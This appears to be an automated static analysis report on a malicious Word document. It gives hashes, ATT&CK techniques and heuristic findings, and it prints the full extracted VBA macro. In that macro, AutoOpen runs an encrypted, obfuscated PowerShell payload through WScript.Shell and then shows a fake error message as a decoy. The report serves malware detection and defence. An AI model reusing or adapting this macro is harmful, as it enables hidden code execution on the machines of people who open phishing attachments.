Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0b216368c89924dd…

MALICIOUS

Office (OOXML)

21.1 KB Created: 2021-06-17 03:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: acfb6023da29d7b7934891a441a7abfb SHA-1: e9c942f4bebcd6ef128204d3fdc567fc3d5d1f72 SHA-256: 0b216368c89924dd008accdacf2f03b1674e8a1c18dc223084ccfd9434d9a988
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The document contains VBA macros with an AutoOpen function that executes a PowerShell command. This command uses obfuscated strings to reconstruct and execute a second-stage payload, likely for downloading and running further malicious code. The use of WScript.Shell and Shell() calls indicates an attempt to run external processes.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim WshShell
    Set WshShell = CreateObject("Wscript.shell")
    With WshShell.Run(ret, x, y)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim WshShell
    Set WshShell = CreateObject("Wscript.shell")
    With WshShell.Run(ret, x, y)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Retrieve
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2576 bytes
SHA-256: 528d00314565526367db94812e7c4eb78c081c91c0e7995a394ae7ae7124e938
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Retrieve
    dexit
End Sub

Sub Retrieve()
    c = "powers"
    t = "hell.exe"
    ret = c + t + " -noexit -command "
    ret = ret + "Iex(( [ruNtImE.intEropseRviCEs.MARshAl]::PTRTOstRiNgbSTr([RuntImE.INtERoPseRViCES.MarsHAl]::secURestRinGTOBsTr($('76492d1116743f0423413b16050a5345MgB8AEEAZQBlAGEAQQBqAFkAWABPAE0AZABPAHAAbABCAEsAcABoAFcAeQBDAFEAPQA9AHwAMgA5ADcAMgA1ADIAZgAzADgAYwAyADQAYgBkAGEAOQA1ADUAOQAxAGQAMAA1ADQANABlADIAOABhADAAOQBhADUANgBhAGUAZAA1ADAAMwAyADYAMQBjADgAYwBhAGIAOAA5ADMAZQAzADgAOQAxAGEANwA4AGQAYgAzADUANAA5ADIAOAA1ADcANQA4AGQAMQA3ADkAOQAyAGQAZAAzADIAMQAxAGQAYwA5ADQAOQAzAGMANQA4ADQAMwA1ADAAMwAyADcAYwAyADMAZABlADUAZAA0AGIANAAzAGMAOABkADQANwA5AGQAMgAyAGMAZgBiADcAMAA4ADEAZQA5ADYAOAA4ADMANgAwADUAOQBlADYAZQBjADEAOQA3AGE"
    ret = ret + "AOQBmADYAMQBlAGUAMwBiAGIAYwBiADEAZQA2ADkAYwBhADgAOAA4AGUAOQBkADUAMAA4AGUANQBiAGIAOQA2ADgAZQA4AGQAOQAwADcAYQBhADEAMQAzAGMAYQBlADEAYQA0ADkAYwBkADkAMQBmADgANwBmAGMANgBkADIANgBiADcANABiAGIAZAA2ADgAYgBjADQANQAwAGMAMwBhADIAZQAzADkAMwA4ADYANAAxADQANwAyAGMAMAAzAGYAOAAwAGMAMgBiAGQAYQBlAGQANwA0AGQANAAyAGIAMQA1ADkANAA2ADkAZAAzADIAMwAwADAANQAxAGEANgA5ADYANAA5AGIAZgA2ADIAYwA5ADkAMgA5ADgAZQAwADMAOQA4ADUAZAAyAGYANwA5ADQAOABlADAAYwAzA"
    ret = ret + "DkAMABlADQAMwAyADQAYgBmADUAMwBjADEAOAAyAGIANQBmADcAYwBkADQAYQA1ADcAMgA5ADkANwBlADEANAA1AGMAZQAwADQAZQAzADcAOQBmAGYAZgA0AGQAYQBlAGQAMgA3ADgAMABjADYAMwAyADEAOQA0ADcANAAxADgANQBiADkAYgA5AGUANgBiADQAOAA0ADkAZABhADcAMwBmAGIANQAwADYANwA0ADYANABkADkAMAAyADYAMABmADMAZQBkADUAOQA4ADIAMABmADAAZQA3ADcANQBlAGEAZgBhADYANgA0ADcANQA3AGQAMAA4ADYAOAAxADcAMgAxAGMAMQA0ADEAMQAyAGUANgBjADAAMQA1ADYANAA2AGYANQAwAGIAMwA2ADMAYQAxADUANgBhAGUAYgA1ADUAMABkAGMAMABlADMAYwA5AGEAMgA1ADUANQA2AGQAYgA1ADEANQAzADEAZQBiAGQAMQBmADYAZgA1AGIANgA3AGEAYwAzADAAMgBkADAAMgBmADcAYgA2AGQAZgBlADYAMQAyAGQAYwA1AGUANAAyADMAMwA3ADEANQAzADUAMAAzADYANgAxADkAZQAyADEAOABhADcANwBmAGUANQBmADQANwA2ADIAZAAxAGUAMQA3ADIAYwBlAGYAOAA0ADAANgA3ADgANwBjADQAOQA3ADgANgA5ADEANQBmADgAYQBlADMA' | ConvErTTO-SEcurESTrIng  -k  (72..57))) ) ) )"
    x = 0
    y = True
    Dim WshShell
    Set WshShell = CreateObject("Wscript.shell")
    With WshShell.Run(ret, x, y)
    End With
End Sub

Sub dexit()
    MsgBox ("Error retrieving from bodymass.store/pricelist. Error 404")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24064 bytes
SHA-256: e23c9af18e2c8c2113a24bcd3d461550ac1fd13f1bd811d9f4e09dd969004415
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).

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